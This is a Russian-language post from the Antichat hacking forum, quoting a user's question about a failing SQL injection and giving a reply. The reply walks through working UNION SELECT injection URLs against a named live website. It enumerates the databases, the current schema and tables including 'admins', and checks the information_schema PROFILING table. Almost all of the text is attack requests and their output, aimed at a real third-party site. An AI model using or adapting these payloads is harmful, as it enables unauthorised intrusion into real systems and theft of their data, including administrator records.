ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от KandidaT'S

ВОобщем смотрите http://xtremelabs.org/index.php?location=news&url=-1+UNION+SELECT+1,2,3,group_concat%28column_name%29 ,group_concat%28column_name%29,6,7+from+informatio n_schema.columns+where+table_name=0x50524f46494c49 4e47%20-- Так Всё норм а делаю потом так http://xtremelabs.org/index.php?location=news&url=-1+UNION+SELECT+1,2,3,CPU_USER,5,6,7+from+PROFILING +--+ и нечего не получается =( в чём ошибака

БД

Код:

http://xtremelabs.org/index.php?location=news&url=-1+union+select+1,2,3,GROUP_CONCAT%28SCHEMA_NAME%20SEPARATOR%200x3a%29%20,5,6,7%20FROM%20information_schema.SCHEMATA

information_schema:xtremelabs_forums:xtremelabs_si te:xtremelabs_tforums

Tables

Код:

http://xtremelabs.org/index.php?location=news&url=-1+union+select+1,2,3,GROUP_CONCAT%28TABLE_NAME%20SEPARATOR%200x3a%29%20,5,6,7%20FROM%20information_schema.TABLES%20limit%200,1

Код:

http://xtremelabs.org/index.php?location=news&url=-1+union+select+1,2,3,database%28%29%20,5,6,7%20FROM%20information_schema.TABLES%20limit%200,1

БД текущая -> xtremelabs_site -> 0x787472656d656c6162735f73697465

Код:

http://xtremelabs.org/index.php?location=news&url=-1+union+select+1,2,3,GROUP_CONCAT%28TABLE_NAME%20SEPARATOR%200x3a%29%20,5,6,7%20FROM%20information_schema.TABLES%20WHERE%20TABLE_SCHEMA=0x787472656d656c6162735f73697465

admins:articles:articlescategories:categories:news :newscategories

там нет таблицы PROFILING, она в другой БД.

Код:

http://xtremelabs.org/index.php?location=news&url=-1+UNION+SELECT+1,2,3,TABLE_SCHEMA%20%20,5,6,7+from+information_schema.TABLES+where+table_name=0x50524f46494c494e47%20--

information_schema

она в схеме

Код:

http://xtremelabs.org/index.php?location=news&url=-1+union+select+1,2,3,%20count%28*%29%20,5,6,7%20FROM%20information_schema.PROFILING

Цитата:

Сообщение от None

Другие новости категории
[01.01.1970]
0

она пустая, там ниче нет.